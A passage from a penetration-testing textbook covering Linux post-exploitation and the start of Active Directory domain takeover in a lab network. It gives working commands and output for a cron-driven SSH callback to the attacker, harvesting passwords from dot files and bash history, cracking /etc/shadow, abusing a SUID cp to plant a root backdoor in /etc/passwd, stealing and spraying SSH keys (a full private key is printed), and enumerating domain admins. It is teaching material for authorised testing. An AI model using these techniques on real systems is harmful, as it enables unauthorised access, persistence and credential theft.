the vic- tim machine. Now that the SSH tunnel has successfully been established, you can securely and reliably connect to the victim machine using any account for which you have credentials. Later, in section 9.3, you learn how to insert a backdoor user account into the /etc/passwd file, which is a perfect combo with this technique for establish- ing reliable re-entry into a compromised Linux or UNIX system. ssh pentest@localhost -p 54321 The authenticity of host '[localhost]:54321 ([127.0.0.1]:54321)' can't be established. ECDSA key fingerprint is SHA256:yjZxJMWtD/EXza9u/23cEGq4WXDRzomHqV3oXRLTlW0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '[localhost]:54321' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-66-generic x86_64) 140 packages can be updated. 5 updates are security updates. *** System restart required *** The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@piccolo:~# 9.1.4 Automating an SSH tunnel with cron At last, you can automate the SSH tunnel and schedule a cron job to initiate the con- nection automatically. Create a small bash script called /tmp/callback.sh, and paste in Listing 9.5 Displaying listening ports with netstat Listing 9.6 Connecting to a tunneled SSH port Port 54321 is now listening on your attacking machine. 163 Harvesting credentials the code from listing 9.7. Don’t forget to modify the port number, username, IP address, and path to SSH key for your environment. This script contains a single function named createTunnel that runs the familiar SSH command to establish the SSH port forwarding you just learned about in section 9.1.3. When run, the script uses /bin/pidof to check whether the system has a run- ning process named ssh. If not, it calls the function and initiates the SSH tunnel. #!/bin/bash createTunnel(){ /usr/bin/ssh -N -R 54321:localhost:22 royce@10.0.10.160 -i ➥ /root/.ssh/pentestkey } /bin/pidof ssh if [[ $? -ne 0 ]]; then createTunnel fi Next, to modify the permissions of your script so that it is executable, run chmod 700 /tmp/callback.sh. Now use crontab -e to add the following entry to the crontab on your victim machine: */5 * * * * /tmp/callback.sh This executes your callback.sh script every five minutes. Even if the compromised sys- tem reboots, you will be able to reliably re-enter for the duration of your engagement. Simply exit your text editor, and your cron job is scheduled. Check your attacking sys- tem with the command netstat -ant |grep -i listen. In five minutes, you will have your SSH tunnel and can log in and out of the system as you please using what- ever credentials you have on that host, including the pentest backdoor account you will set up in section 9.3.2. NOTE Record the location of your bash script in your engagement notes as a miscellaneous file that you’ve left on a compromised system. You will need to remove it during post-engagement cleanup. 9.2 Harvesting credentials Linux and UNIX systems are known to store users’ application-configuration prefer- ences and customizations in files that have a period or dot in front of the filename. The term .dot files (pronounced “dot files”) is widely accepted among Linux and UNIX enthusiasts when discussing these files, so that is the term we’ll use in this chapter. After compromising a Linux or UNIX system, the first thing you should do is check the home directory of the user as whom you’re accessing the system for .dot files and .dot directories. In most cases, that home directory is /home/username. By default, these files and folders are hidden on most systems, so the ls -l terminal Listing 9.7 Contents of the callback.sh script 164 CHAPTER 9 Linux or UNIX post-exploitation command won’t display them. That said, you can view the files by using the ls -la command. If you run this command from the home directory on your Ubuntu VM, the output is similar to the next listing. As you can see, there are a number of .dot files and directories. Because these files are customizable by the user, you never know what you might find in them. drwx------ 6 royce royce 4096 Jul 11 2019 .local -rw-r--r-- 1 royce royce 118 Apr 11 2019 .mkshrc drwx------ 5 royce royce 4096 Apr 11 2019 .mozilla drwxr-xr-x 9 royce royce 4096 Apr 12 2019 .msf4 drwxrwxr-x 3 royce royce 4096 Jul 15 2019 .phantomjs -rw-r--r-- 1 royce royce 1043 Apr 11 2019 .profile -rw------- 1 royce royce 1024 Jul 11 2019 .rnd drwxr-xr-x 25 royce royce 4096 Apr 11 2019 .rvm drwx------ 2 royce royce 4096 Jan 24 12:36 .ssh -rw-r--r-- 1 royce royce 0 Apr 10 2019 .sudo_as_admin_successful Recall from chapter 8 that you can use native Windows OS commands to quickly and programmatically search through files in bulk for the existence of specific strings of text. The same is true for Linux and UNIX. To demonstrate, switch into the .msf4 directory of your Ubuntu VM with the command cd ~/.msf4, and type grep -R "password:". You will see the password that you specified when setting up Metasploit: ./database.yml: password: msfpassword The idea is that the system administrators responsible for maintaining the machine that you have compromised probably installed third-party applications such as web servers, databases, and who knows what else. The chances are high that if you search through enough .dot files and directories, you will identify some credentials. Listing 9.8 Hidden .dot files and directories Be careful when using “password” as a search term You probably noticed in the grep command that we searched for “password:” with an MSF password colon instead of just “password”. This is because the word pass- word probably exists thousands of times throughout hundreds of files on your com- promised machine in the form of developer comments saying things like, “Here is where we get the password from the user.” To avoid sifting through all of this useless output, you should use a more targeted search string such as “password=” or “password:”. You should also assume that some passwords are written in a configuration file and stored in a variable or param- eter named something other than password—pwd or passwd, for example. Search for those as well. 165 Harvesting credentials 9.2.1 Harvesting credentials from bash history By default, all commands entered into a bash prompt are logged in a .dot file named .bash_history, which is located in the home directory for all users. You can return to the home directory for the current logged-in user by typing the cd ~/ command. There you can view the contents of the .bash_history file by typing the command cat .bash_history. If the file is too long to view in a single terminal window, you can type cat .bash_history | more, which pipes the output of the cat command into the more command so you can use the spacebar to scroll through the output one terminal window at a time. You can see an example in the following listing. Trying this on your own Linux VM will result in different output, of course, because you have typed differ- ent commands. ~$ cat .bash_history | more sudo make install cd nmap nmap -v clear ls -l /usr/share/nmap/scripts/ ls -l /usr/share/nmap/scripts/*.nse ls -l /usr/share/nmap/scripts/*.nse |wc -l nmap |grep -i scripts nmap |grep -i update nmap --script-updatedb sudo nmap --script-updatedb cd cd nmap/ --More-- So why would you care about the history of commands that have been typed on a Linux or UNIX system that you’ve compromised? Well, believe it or not, this file is a common place to find clear-text passwords. If you’ve used Linux or UNIX on the com- mand line for long enough, I’m sure you have accidentally typed your SSH password into a bash prompt. I know I have done this many times; it’s a common mistake that busy humans who are in a hurry often make. Listing 9.9 Using cat + more to view .bash_history Extra credit Here’s a little assignment to further sharpen your skills. Using your favorite scripting language or bash, write a simple script to take in a given file path and search all files recursively through that path for the presence of “password=”, “password:”, “pwd=”, “pwd:”, “passwd=”, and “passwd:”. Here is a big hint: go through the exercise of performing this search manually, make a note of all the steps you take, and then automate them using a script. The output is truncated based on the height of your terminal window. 166 CHAPTER 9 Linux or UNIX post-exploitation Another scenario you will find is people typing their passwords on purpose because the command-line tool they are using—mysql or ldapquery, for example— accepts clear-text passwords as command-line arguments. No matter the reason, you should definitely go through the contents of this file for the user account you have compromised and any other users’ home directories that are readable as part of your post-exploitation repertoire on Linux and UNIX systems. 9.2.2 Harvesting password hashes Just as with Windows systems, password hashes for local user accounts can be obtained if you have root-level access to a Linux or UNIX system. This vector is not as helpful for gaining access to level-two targets, because Pass-the-Hash is not a viable method of authenticating to Linux and UNIX systems. Password cracking is a viable option, albeit typically considered a last resort by most pentesters racing against a clock to complete an engagement before the deadline. That said, you can locate the password hashes to a Linux or UNIX system in the /etc/shadow file. (Once again, you need to have root privileges to access this file.) Unlike the SAM registry hive, the /etc/shadow file is just a text file containing raw hashes, so John the Ripper is familiar with this file. Simply point it at the file to start cracking by running the following command: ~$ ./john shadow The output is similar to the following: Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 2 OpenMP threads Proceeding with single, rules:Single Press 'q' or Ctrl-C to abort, almost any other key for status Almost done: Processing the remaining buffered candidate passwords, if any. Proceeding with wordlist:./password.lst 0g 0:00:00:05 9.77% 2/3 (ETA: 15:34:33) 0g/s 3451p/s 3451c/s 3451C/s Panic1..Donkey1 Unfortunately, it’s just as likely that you don’t have root permissions immediately after compromising a Linux or UNIX target and will need to escalate. There are numerous paths to explore—more than would be productive to cover in a single chapter. I’m not going to go over them all. The one I want to show you (because it’s one of my personal favorites) is identifying and using SUID binary executables to escalate privileges. 9.3 Escalating privileges with SUID binaries I could write an entire chapter about Linux and UNIX file permissions, but that’s not the intention of this book. But I want to stress the importance of understanding Set User ID (SUID) permissions on files, particularly executable files, and how they can potentially be used on a pentest to elevate privileges on a compromised system. 167 Escalating privileges with SUID binaries In a nutshell, executable files are run with the permissions and context of the user who launched the executable—that is, the user who issued the command. In some cases, a file must run with elevated privileges. For example, the /usr/bin/passwd binary, which is used to change your password on Linux and UNIX systems, needs full root-level permissions to apply changes to user account passwords, but it also needs to be executable by non-root users. This is where SUID permissions come into play, spec- ifying that the /usr/bin/passwd binary is owned by the root user and executable by any user, and that when executed, it will run with the permissions of the root user. The output in listing 9.10 first shows an ls -l command on the /bin/ls execut- able that does not have SUID permissions. The next output shows the SUID permis- sions set for /usr/bin/passwd. Notice that the third permission set for /bin/ls is x, which stands for executable. The owner of the /bin/ls file, which in this case is the root user, has execute permissions on that binary. In the case of /usr/bin/passwd, you see an s where the x would be. This is the SUID permission bit, and it tells the OS that this binary always executes with the permissions of the user who owns it, which in this case is also the root user. ~$ ls -lah /bin/ls -rwxr-xr-x 1 root root 131K Jan 18 2018 /bin/ls ~$ ls -lah /usr/bin/passwd -rwsr-xr-x 1 root root 59K Jan 25 2018 /usr/bin/passwd From an attacker’s or pentester’s perspective, it may be possible to use this privilege escalation to elevate access from a non-root user to a root user. In fact, many publicly documented Linux and UNIX attack vectors take advantage of SUID binaries. One of the first things to do after you gain access to a Linux or UNIX system is to take inven- tory of all the SUID binaries your user account has access to. This allows you to explore the potential for abusing them to gain elevated privileges, which we’ll cover in the next section. 9.3.1 Locating SUID binaries with the find command As you may have already guessed, this potential attack vector is well known to Linux and UNIX developers, and a great deal of caution has been taken to protect system binaries like /usr/bin/passwd from being tampered with. If you search Google for SUID binary privilege escalation, you will find dozens of blog posts and papers document- ing various examples of what we are about to cover. That said, you probably won’t be able to use standard binaries such as /usr/bin/passwd for your post-exploitation. As a pentester playing the role of an attacker, the SUID binaries you are most inter- ested in are nonstandard and have been created or customized by the system adminis- trators who manage and deployed the system you’ve compromised. Because of the unique permissions set on SUID binaries, you can locate them easily using the find Listing 9.10 Normal execute permissions and SUID permissions Normal execute permissions SUID permissions 168 CHAPTER 9 Linux or UNIX post-exploitation command. Run the command find / -perm -u=s 2>/dev/null on your Ubuntu VM, and the output should look similar to the following. ~$ find / -perm -u=s 2>/dev/null /bin/mount /bin/su /bin/umount /bin/fusermount /bin/ping *** [OUTPUT TRIMMED] *** /usr/sbin/pppd /usr/bin/newgrp /usr/bin/chsh /usr/bin/pkexec /usr/bin/passwd /usr/bin/chfn /usr/bin/traceroute6.iputils /usr/bin/sudo /usr/bin/arping /usr/bin/gpasswd /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/xorg/Xorg.wrap /usr/lib/snapd/snap-confine /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper It’s good practice to familiarize yourself with standard SUID binaries so you can more easily spot an outlier if you run across one during a pentest. In the next section, I cover an example of using a nonstandard SUID binary discovered during the Capsule- corp pentest to elevate privileges from a non-root user account. At this point, you have seen multiple different avenues of gaining unauthorized access to restricted systems within an enterprise network. So, for this section, we don’t need to cover the initial penetration. Instead, we will begin with an already compro- mised Linux system in the Capsulecorp Pentest network. During the pentest, it was discovered that a vulnerable web application allowed for remote code execution, and you have a reverse shell on the target Linux host that was running the web application. Your shell is running as a non-root user, which means your access to this machine is heavily restricted. Upon searching the filesystem for nonstandard SUID binaries, the following out- put was discovered. This is the /bin/cp binary, which is the equivalent of the Windows copy command, modified with SUID permissions. Listing 9.11 Using find to search for SUID binaries 169 Escalating privileges with SUID binaries /bin/mount /bin/fusermount /bin/cp. /bin/su /bin/umount /bin/ping /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/bin/chsh /usr/bin/newuidmap /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/passwd /usr/bin/sudo /usr/bin/at /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/chfn /usr/bin/ksu /usr/bin/traceroute6.iputils As you can see from running the ls -l command on the /bin/cp binary, this binary is owned by the root user and executable by everyone. Because the SUID permission is set, it will be possible to use this binary to escalate privileges to that of the root user: -rwsr-xr-x 1 root root 141528 Jan 18 2018 /bin/cp 9.3.2 Inserting a new user into /etc/passwd There are many different possibilities that could lead to successful privilege escalation using a powerful binary such as /bin/cp, and we don’t need to discuss all of them. The most straightforward approach would be to create a modified passwd file that contains a new user account that we control, and then use /bin/cp to overwrite the system file located at /etc/passwd. First, make two copies of the original /etc/passwd file—one to modify and one to keep as a backup in case you break something: ~$ cp /etc/passwd passwd1 ~$ cp /etc/passwd passwd2 Next, use openssl passwd to create a Linux/UNIX-acceptable username and pass- word hash that can be inserted into your passwd1 file. In this example, I’m creating an entry for a user named pentest with a password of P3nt3st!: ~$ openssl passwd -1 -salt pentest P3nt3st! $1$pentest$NPv8jf8/11WqNhXAriGwa. Now use a text editor to open passwd1, and create a new entry at the bottom. The entry needs to follow a specific format, shown in the following example. Listing 9.12 Identifying a nonstandard SUID binary The /bin/cp binary is not SUID by default. 170 CHAPTER 9 Linux or UNIX post-exploitation ~$ vim passwd1 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin piccolo:x:1000:1000:Piccolo:/home/piccolo:/bin/bash sssd:x:111:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin pentest:$1$pentest$NPv8jf8/11WqNhXAriGwa.:0:0:root:/root:/bin/bash -- INSERT – Don’t be intimidated by this entry in /etc/passwd—it’s easy to follow once you break it down into seven components separated by colons. The seven components are described in table 9.1 By specifying the user with a UID and GID of 0 and a home directory of /root, you have essentially created a backdoor user account with a password that you control who has full root permissions on the OS. To finalize this attack 1 Overwrite the /etc/passwd file with your modified passwd1 file using the /bin/cp command. Listing 9.13 Modifying /etc/passwd to create a root user account Table 9.1 The seven components of an /etc/passwd entry Position Component Example 1 Username pentest 2 Encrypted/Hashed password $1$pentest$NPv8jf8/11WqNhXAriGwa. 3 User ID 0 4 Group ID 0 5 User’s full name root 6 User’s home directory /root 7 Default login shell /bin/bash The new entry containing the username and password generated from openssl 171 Passing around SSH keys 2 Switch to the pentest user account using the su command. 3 Run the id -a command, which shows that you now have full root access to the machine. You can see these commands in the following listing. ~$ cp passwd1 /etc/passwd ~$ su pentest Password: ~$ id -a uid=0(root) gid=0(root) groups=0(root) I hope this illustrates the value from an attacker’s perspective of SUID binaries during Linux and UNIX post-exploitation. Of course, the ability to successfully use an SUID binary to escalate your privileges depends entirely on what the binary does. The bina- ries that come standard with SUID permissions probably won’t be viable attack vec- tors, so familiarize yourself with what they are by using the command illustrated in listing 9.11. And when you identify a nonstandard SUID binary, try to understand what it does—if you think creatively, there may be a potential attack vector. NOTE Be sure to add this to your engagement notes. This is a configuration modification and a compromise. You will need to clean this up during post- engagement, which we will discuss in chapter 11. 9.4 Passing around SSH keys In some unfortunate cases, you won’t be able to elevate to root on a compromised Linux or UNIX machine. It still may be possible to use the compromised host as a pivot point for accessing a level-two system. One way to achieve this is by harvesting SSH keys from the compromised system and utilizing a tool such as Metasploit or CME to do a Pass-the-Hash style attack on the remaining systems in your scope. Instead of passing password hashes, however, you pass SSH private keys. In rare cases, this can lead to root on another machine where the user whose SSH key you obtained from a level-one host, allowed access to a level-two system; and on that system, the same user had root privileges. For this outcome alone, it’s worthwhile to spend time during post-exploitation gathering as many SSH keys as you can find and passing them around to the other Linux or UNIX hosts on your network. Again, when I say “pass them around,” I mean attempt to authenticate to other systems. TIP In chapter 4, you should have created protocol-specific target lists based on what ports and services were identified during service discovery. I typically put all IP addresses that had SSH identified in a file called ssh.txt. This the file to which you should pass all your SSH keys when searching for access to level- two Linux or UNIX systems. Listing 9.14 Backdooring the /etc/passwd file Copy passwd1 over to /etc/passwd, overwriting the system file. Switch to the pentest user account, typing P3nt3st! at the prompt. You now have unrestricted root access to the entire system. 172 CHAPTER 9 Linux or UNIX post-exploitation SSH keys belonging to the user account on which you are accessing your compro- mised system should be located in the ~/.ssh directory because that is where they are stored by default. That being said, don’t underestimate users’ appetite for peculiar behavior and choosing to store them somewhere else. More often than not, a simple ls -l ~/.ssh will tell you if the user has any SSH keys. Grab a copy of any you find, and store them on your attacking machine. 9.4.1 Stealing keys from a compromised host The output in listing 9.15 shows the contents of the ~/.ssh directory for the root user account on one of the Linux systems in the Capsulecorp Pentest network. There is one pair of SSH keys in the directory. The pentestkey file is the private key, and the pentestkey.pub file is the public key. The private key is the file you need to pass to additional systems to see if you can access them. ~$ ls -l ~/.ssh total 12 -rw------- 1 root root 0 Feb 26 2019 authorized_keys -rw-r--r-- 1 root root 222 Jan 24 18:36 known_hosts -rw------- 1 root root 1679 Jan 24 18:25 pentestkey -rw-r--r-- 1 root root 394 Jan 24 18:25 pentestkey.pub Don’t worry if you’re unsure about which file is the public key and which is the private key. For example, the user may have renamed the files so there is no .pub extension on the public key. You can use the file pentestkey command to check which is which. As you can see from the following output, file knowns the different between the two: pentestkey: PEM RSA private key pentestkey.pub: OpenSSH RSA public key NOTE SSH keys that are password-protected are obviously no good to you unless you know the password. The good news is that users are typically lazy and frequently create keys without a password. Just as with Pass-the-Hash, you have several options for passing SSH keys. The concept is the same no matter the tool, so we’ll stick with an industry favorite and use Metasploit. In the next section, I demonstrate using Metasploit to pass an SSH key dis- covered on one of the machines in the Capsulecorp Pentest network. 9.4.2 Scanning multiple targets with Metasploit First you need to store the private key that you want to try to authenticate with on your attacking machine. Because you are most likely using a terminal, believe it or not, the most straightforward way to do this is to use the cat command to list the contents of the file and then copy and paste it into a new file on your system. If you’ve never seen Listing 9.15 Contents of a user’s ~/.ssh directory SSH private key SSH public key 173 Passing around SSH keys the contents of an SSH key, have a look at the following listing, which shows the pentestkey private key created earlier in this chapter. ~$ cat ~/.ssh/pentestkey -----BEGIN RSA PRIVATE KEY----- MIIEpgIBAAKCAQEAtEb7Lys39rwW3J+Ow3eZ1F/y1XVqynjKvNvfmQuj7HaPJJlI y+50HIgKL1o44j5U7eLq1SNwis6A1+wx7+49ppMCSqRMDBq7wwqwVRjFgkyAo9cj q4RYQ3SpD2xcUSAyOoHlsTldj2QijbOuEaw7Q0Ek3oW83TnB2ea1jrXofRyTnFux fEe/xZQ5ujkeR8z17zx0piSESjp1VBKYlIY2mu5stf75dJ1PjPrrqATTnJlaUR0H 9p1HCFLY8PfAvkhxpGoFQUNsVDS7wzfN5TUvHL6bWjo47QohkG6H9yxqXXMm68n/ +0iO7sISUH7oOXJhM5Yv8sxeuidGAqOrtfAs6wIDAQABAoIBAQCBcLXKGG4Gaua/ YpFPKAD7zCi/u58B4dkv4W+apBD/J+F/lc//HSehlMw7U7ykNb0lUVjr0JZuE/fP EXiJnbYGdGeg0HcJ+ef3EyWo9DBcbjGvcjnaXRxC0vDQci2W0lc+SyZxKY9T9cIZ nHnPlqq2j3+5hq0k6uOVYWHbJiHYMgY9uifeNfsFVU0KO+U/stHpRyaQfCNm4bzs b/EZNJLzL4VMtaL72V2S9BKZXOW3VfFek5iccqOdV7PJBPUkqxk2u5cQglrXwEHb yJjMo3CT3Vi5JIXu/aBbVjymKR3R9K5fWzv6J14KjzxSfOF6dJrFFOzkSklhP1zk ekl46IYBAoGBAO9S/3iwoaEAtTLyozzG5D+X+aQj0J+NqWMnYmNr38ad7NQRvi69 OvIO8mxNsZdiPWM9/LfDh3CQhZustXNniq9DZ+eOdEuKpedCVk43+9q06Lkr1Tdw XMRF9p1D6q8G4AoKhJ66fs5j24sJTyQE67ZAsC7/op3E4dj+qGAERoGxAoGBAMDW uDK+bgNJyZm26UXkAngJp4bTyY64L7vV69jXUa0jjceqoouZuL/14rCMHiSHVLFp +GhPky67X9E9Vbkir9f0yPB0yBpKf6HHEcit2o13sGK2MziRSZ04agh9QeJceumW nvmNizWFWCwLmPuGqeSFItZr8Vxx9Z2Q3mhmywNbAoGBANSESz+M+bnSuxTmyXWq 1/xwo8nR0+wbC5N04bWPkUL58dfPeaZfevx/sV3jEBRxtDlwTf2Qr7CRZVN75hT4 mPpRTO8eXL7H+9KD4cfLhuYLR61G8ysrp/TSe8/jA38xB7li5aldykTT/5xTQ+ek RvusLcdOUcTvk+3xFOtOYJ3BAoGBAJNVenaKuFMa1UT0U1Zq1tgPyEdjGORKJW5G C2QpXuYB/BlJbddrI5TGsORiqcUPAM5sQLax1aomzxZ23kANGHzPMZdGInyz3sAj 8Jp6+jiL8d/5hTj7CFtu9tR1nxjrv50oz12rn2jM8Ij2c3P5d2R5tBxPbKFNEHPK c6MgpotxAoGBAK/90Qd8fqUDR2TqK8wnF5LIIZSGR8Gp88O3uoGNjIqAPBEcfJll tT95aYV1XC3ANv5cUWw7Y3FqRmxsy/mYhKc9bQfXbBeF0dBc7ZpBI5C4vCFbeOX1 xQynrb5RAi4zsrT0kjxNBprdCiXLYVDsykBgYvBbhNNrH7oAp7Q7ZfxB -----END RSA PRIVATE KEY----- For my example, I’ll simply copy and paste this into a file on my attacking machine named ~/stolen_sshkey—that’s all I need, to fire up the Metasploit msfconsole and begin pass- ing this SSH key to the various systems in the Capsulecorp Pentest scope to see if it gets me in anywhere else. I’ll start by opening the msfconsole and loading the SSH Public Key Login Scanner by issuing use auxiliary/scanner/ssh/ssh_login_pubkey. If you’re wondering why it’s called the Public Key login module instead of the Pri- vate Key login module, it’s because the process of using private/public keys to authen- ticate has long been referred to as public key authentication or even PubkeyAuthentication, as it’s written in the sshd config file on Linux/UNIX systems. Nevertheless, this is the module you use to try to authenticate with an SSH private key against multiple sys- tems. As you have now done many times throughout this book, set a target for this module by typing set rhosts file:/path/to/your/ssh.txt, and run the module by typing run. Specify a valid username and the path to your private key file; and for this module, I recommend turning off verbose output, or it will be hard to decipher. Here’s what a successful authentication looks like. Listing 9.16 Contents of an SSH private key 174 CHAPTER 9 Linux or UNIX post-exploitation msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_PATH ➥ /home/royce/stolen_sshkey KEY_PATH => /home/royce/stolen_sshkey msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts file:/home/royce/capsulecorp/discovery/services/ssh.txt rhosts => file:/home/royce/capsulecorp/discovery/services/ssh.txt msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set username royce username => royce msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > set verbose false verbose => false msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > run [*] 10.0.10.160:22 SSH - Testing Cleartext Keys [+] 10.0.10.160:22 - Success: 'royce:-----BEGIN RSA PRIVATE KEY--------- [*] Command shell session 2 opened (10.0.10.160:35995 -> 10.0.10.160:22) at 2020-01-28 14:58:53 -0600 [*] 10.0.10.204:22 SSH - Testing Cleartext Keys [*] Scanned 11 of 12 hosts (91% complete) [*] 10.0.10.209:22 SSH - Testing Cleartext Keys [*] Scanned 12 of 12 hosts (100% complete) [*] Auxiliary module execution completed msf5 auxiliary(scanner/ssh/ssh_login_pubkey) > One nice feature of the Metasploit module is that it automatically opens a reverse shell to any targets that successfully authenticated with the username and private key you provided. Of course, you could just SSH into any systems you find, but the added convenience of having it done for you automatically is always nice. If for some reason you don’t want Metasploit to behave this way, you can turn off the auto-session feature by typing set CreateSession false before running the module. Summary  The three main components of post-exploitation have not changed; they are Maintaining reliable re-entry, harvesting credentials, and moving laterally.  Credentials can be discovered in configuration .dot files and directories as well as in bash history logs.  Tunneling a reverse shell through SSH is a great way to maintain reliable re- entry into a compromised host.  Cron jobs can be used to schedule a reverse shell callback automatically.  Even if you don’t have root on a system, you can potentially discover SSH keys that can be used to access other machines even as root. Listing 9.17 Authenticating with the SSH Public Key Login Scanner module File path of your SSH key File path containing IP addresses running SSH Username to try along with the key Turns off verbose output; otherwise it is difficult to sort through Opens a command shell with each successful login 175 Controlling the entire network It’s time to explain the final step in the post-exploitation and privilege-escalation phase of an internal network penetration test (INTP). That, of course, is to take complete control of the enterprise network by gaining domain admin privileges in Active Direc- tory. Domain admin users can log in to any machine on the network, provided the machine is managed through Active Directory. If an attacker manages to gain domain admin privileges on an enterprise network, the outcome could be catastrophic for the business. If it’s not clear why, think about the number of business-critical systems that are managed and operated by computer systems joined to the domain: This chapter covers  Identifying domain admin users  Locating systems with domain admin users logged in  Enumerating domain controller volume shadow copies (VSS)  Stealing ntds.dit from VSS  Extracting Active Directory password hashes from ntds.dit 176 CHAPTER 10 Controlling the entire network  Payroll and accounting  Human resources  Shipping and receiving  IT and networking  Research and development  Sales and marketing You get the idea. Name a function in the business, and it is likely managed by people who use computer systems that are joined to an Active Directory domain. Therefore, as pentesters, we can conclude that our simulated cyber-attack can’t get much worse than gaining domain admin privileges on our client’s network. In this chapter, I cover two ways you can achieve domain admin-level privileges during an INPT. Both scenarios rely on the fact that a domain admin user is probably logged in to the network performing administration activities, because that’s their job. If you’ve been diligent on your engagement up to this point, then you’ve first gained access to level-one systems by taking advantage of direct access vulnerabilities and attack vectors. Second, you’ve used information or credentials obtained from those systems to pivot to level-two systems that are now accessible to you as well. From here, it’s just a matter of identifying who the domain admin users are and then locating a system where one of them is logged in. After we cover techniques for identi- fying and locating domain admins, I’ll show you how to take advantage of their active sessions and essentially impersonate them on the network, making you a domain admin of your client’s domain. Finally, you’ll learn where to obtain the so-called “keys to the kingdom”—the password hashes for every Active Directory account on the domain— and how to get them in a non-destructive manner. Before going into the step-by-step breakdown of this process, let’s first look at a high-level overview of what you’ll learn in this chapter (see figure 10.1) for a breakdown of the five steps: 1 Identify the users belonging to the Domain Admins group. These user accounts have full access to every domain-joined system in your target network environment. 2 Locate the system or systems that have a domain admin user account presently logged in. Going beyond domain admin It’s certainly possible to go further than obtaining domain admin privileges. It just isn’t practical on a typical INPT. Once you have obtained domain admin, you can usu- ally verbally tell your client, “We could have done XYZ,” where XYZ is moving money, installing a key logger on executives’ workstations, or exfiltrating intellectual prop- erty. That type of exercise is better suited for a more advanced adversarial simula- tion, often referred to as a red team engagement. 177 3 Impersonate that user by using credentials or authentication tokens present on the system at the time the domain admin user is logged in. 4 Obtain a copy of the ntds.dit file from the domain controller. This file contains the password hashes for all user accounts in Active Directory. 5 Extract the password hashes from ntds.dit, granting you the ability to authenti- cate to any domain system as any domain user. Now that you know what the process looks like, let’s examine the first two steps in the chain:  Identifying the domain admin user accounts  Locating a system with one of them logged in E D C B All the password hashes All the password hashes A Attacking machine Domain admin logged in Domain controller Server 1 Server 2 Server 3 Server 4 Volume shadow copy NTDS.dit SYSTEM registry hive lmpacket: secretsdump.py Impersonate a domain admin account Mimikatz: Harvest credentials Incognito: Steal tokens $ net group "Domain Admins"/domain Metasploit: psexec_command("qwinsta") Domain admin usernames Domain admin usernames Domain admin usernames All the password hashes A. Identify domain admin user accounts. B. Locate systems with domain admins logged in. C. Elevate to domain admin privileges. D. Obtain NTDS.dit and SYSTEM from VSC on domain controller. E. Extract all domain account password hashes. Figure 10.1 Controlling the entire Active Directory domain 178 CHAPTER 10 Controlling the entire network 10.1 Identifying domain admin user accounts To identify domain admin user accounts, you only need to use a single command, which comes native as part of the Windows OS. I’m talking about the net command, which you can use to query the Domain Admins Active Directory user group. By now, you have been able to compromise a number of hosts in your target envi- ronment, so for this chapter, I will assume you can easily gain access to a Windows command prompt on one of your level-one or level-two systems. You’ll need to use one of these hosts to execute the net command. 10.1.1 Using net to query Active Directory groups The syntax for the net command is about as straightforward as you can get. All you need to know is the name of the Active Directory group you want to query: in this case, Domain Admins. The group name should be placed inside quotes because it includes a space, which the net command doesn’t know how to process. Finally, you need to include the /domain argument, which says to process the request on the near- est domain controller. Putting it all together, the command looks like this: net group "Domain Admins" /domain The output in the next listing shows the domain admin users for the capsulecorp .local domain. The request will be processed at a domain controller for domain capsulecorp.local. Group name Domain Admins Comment Designated administrators of the domain Members --------------------------------------------------------------------------- Administrator gokuadm serveradmin. The command completed successfully. C:\Users\tien.CAPSULECORP> In a modern enterprise network, you’re likely to see a dozen or even two or three dozen domain admin users when you run this command. The more domain admin users there are, the higher the likelihood you can find a system with one logged in. If you’re a systems administrator reading this, keep that in mind, and try to limit the number of domain admin accounts on your network to as few as possible. Listing 10.1 Output of the net group command Name of the Active Directory domain This domain has three users with domain admin privileges. 179 Identifying domain admin user accounts Now that you know who the domain admin users are, the next step is to locate a system or systems where one or more of them are actively logged in. My preferred method of doing this is to use the psexec_command Metasploit module to run the qwinsta command on every Windows system I have access to. The qwinsta command outputs information about currently active user sessions, which is all you need to iden- tify whether a domain admin is logged in. If you’ve never heard of qwinsta, you can check out the Microsoft documentation at http://mng.bz/lXY6. That said, if you keep reading, you’ll soon understand what the command does. 10.1.2 Locating logged-in domain admin users It may not be apparent if you are working off of the Capsulecorp Pentest lab environ- ment, but searching for domain admin accounts on a huge enterprise network can be painful. In some cases, it’s similar to the old needle-in-a-haystack analogy. Imagine a giant company with 10,000+ computer systems. It takes security seriously and 